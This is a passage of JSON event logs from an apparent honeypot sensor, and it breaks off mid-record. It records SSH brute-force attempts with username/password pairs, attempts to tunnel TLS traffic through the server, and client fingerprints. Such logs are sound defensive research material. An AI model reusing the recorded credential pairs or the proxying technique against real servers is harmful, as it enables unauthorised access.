{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03p\\x08a\\xc0\\xea\\x99Z[D\\x954\\xa4\\xcd\\xb8\\xae\\xe5=zH\\xae\\xf7\\xb5\\xe7\\x9e\\xf7*FLC\\x1d~y \\x95;\\xf8|f&\\x18\\x11\\x02\\x92\\xfb^\\x14\\xb3?^\\xdbp\\xcb\\x8c^\\x17\\xde\\x97\\xcbvGR\\xd4Z\\xe6\\x8f\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb7\\xe8~w\\x17\\x82.\\xcd\\x1a\\xc1bM\\xad\\xf7\\x15e\\x0e\\\\9\\x1e\\x00\\xf6Y7\\xd4\\x17\\x0fR\\r\\xe1$,\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":3,"message":"discarded direct-tcp forward request 3 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03p\\x08a\\xc0\\xea\\x99Z[D\\x954\\xa4\\xcd\\xb8\\xae\\xe5=zH\\xae\\xf7\\xb5\\xe7\\x9e\\xf7*FLC\\x1d~y \\x95;\\xf8|f&\\x18\\x11\\x02\\x92\\xfb^\\x14\\xb3?^\\xdbp\\xcb\\x8c^\\x17\\xde\\x97\\xcbvGR\\xd4Z\\xe6\\x8f\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb7\\xe8~w\\x17\\x82.\\xcd\\x1a\\xc1bM\\xad\\xf7\\x15e\\x0e\\\\9\\x1e\\x00\\xf6Y7\\xd4\\x17\\x0fR\\r\\xe1$,\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:20.077216Z","src_ip":"23.175.50.51","session":"f84ef4774695","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:20.501400Z","session":"f84ef4774695","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:20.558746Z","src_ip":"23.175.50.51","session":"f84ef4774695","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03z*,\\x91_\\xb4\\x03\\x98Kw\\x0c:5\\xcd\\xb7\\xf8tK\\n\\xf1\\x8d\\xa047\\x0e\\x14\\x0csI\\x88]\\xee \\x8f\\x15\\xed\\xfc\\xa0\\xf8*n\\x98h\\x95@)\\x95\\xaf\\xcbq\\xd8T\\x92\\x1d\\x9a\\xea;\\xf8\\x0e\\xbc\\xa5\\xbe\\xa5\\x0b\\x80\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 |;\\x87+86\\x17\\x19-\\xc3:y=:\\xd5y\\x0b\\x95o\\xb20\\x04\\x04-\\x84\\x11\\x90M\\xde\\x9b\\xc55\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":4,"message":"discarded direct-tcp forward request 4 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03z*,\\x91_\\xb4\\x03\\x98Kw\\x0c:5\\xcd\\xb7\\xf8tK\\n\\xf1\\x8d\\xa047\\x0e\\x14\\x0csI\\x88]\\xee \\x8f\\x15\\xed\\xfc\\xa0\\xf8*n\\x98h\\x95@)\\x95\\xaf\\xcbq\\xd8T\\x92\\x1d\\x9a\\xea;\\xf8\\x0e\\xbc\\xa5\\xbe\\xa5\\x0b\\x80\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 |;\\x87+86\\x17\\x19-\\xc3:y=:\\xd5y\\x0b\\x95o\\xb20\\x04\\x04-\\x84\\x11\\x90M\\xde\\x9b\\xc55\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:20.561599Z","src_ip":"23.175.50.51","session":"f84ef4774695","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:20.738500Z","src_ip":"91.92.40.36","session":"10055e3145f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"haddock","password":"haddock123","message":"login attempt [haddock/haddock123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:23.293049Z","src_ip":"91.92.40.36","session":"10055e3145f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:25.492714Z","src_ip":"91.92.40.36","session":"10055e3145f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"29.5","message":"Connection lost after 29.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:25.637494Z","src_ip":"23.175.50.51","session":"f84ef4774695","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":19082,"dst_ip":"159.203.135.109","dst_port":22,"session":"248d06ac8b39","protocol":"ssh","message":"New connection: 91.92.40.36:19082 (159.203.135.109:22) [session: 248d06ac8b39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:26.429650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:27.021002Z","src_ip":"91.92.40.36","session":"248d06ac8b39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:27.043735Z","src_ip":"91.92.40.36","session":"248d06ac8b39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123qwe","message":"login attempt [hadoop/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:30.858571Z","src_ip":"91.92.40.36","session":"248d06ac8b39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:32.594297Z","src_ip":"91.92.40.36","session":"248d06ac8b39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":22974,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c37f37e0ebc","protocol":"ssh","message":"New connection: 91.92.40.36:22974 (159.203.135.109:22) [session: 4c37f37e0ebc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:34.100456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:34.363831Z","src_ip":"91.92.40.36","session":"4c37f37e0ebc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:34.904524Z","src_ip":"91.92.40.36","session":"4c37f37e0ebc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"sven","message":"login attempt [admin/sven] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:39.488855Z","src_ip":"91.92.40.36","session":"4c37f37e0ebc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":23362,"dst_ip":"159.203.135.109","dst_port":22,"session":"452a25ab253c","protocol":"ssh","message":"New connection: 91.92.40.36:23362 (159.203.135.109:22) [session: 452a25ab253c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:41.304843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:42.036904Z","src_ip":"91.92.40.36","session":"452a25ab253c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.1","message":"Connection lost after 8.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:42.237293Z","src_ip":"91.92.40.36","session":"4c37f37e0ebc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":58984,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e07f554da51","protocol":"telnet","message":"New connection: 172.81.62.90:58984 (159.203.135.109:23) [session: 6e07f554da51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:44.492472Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 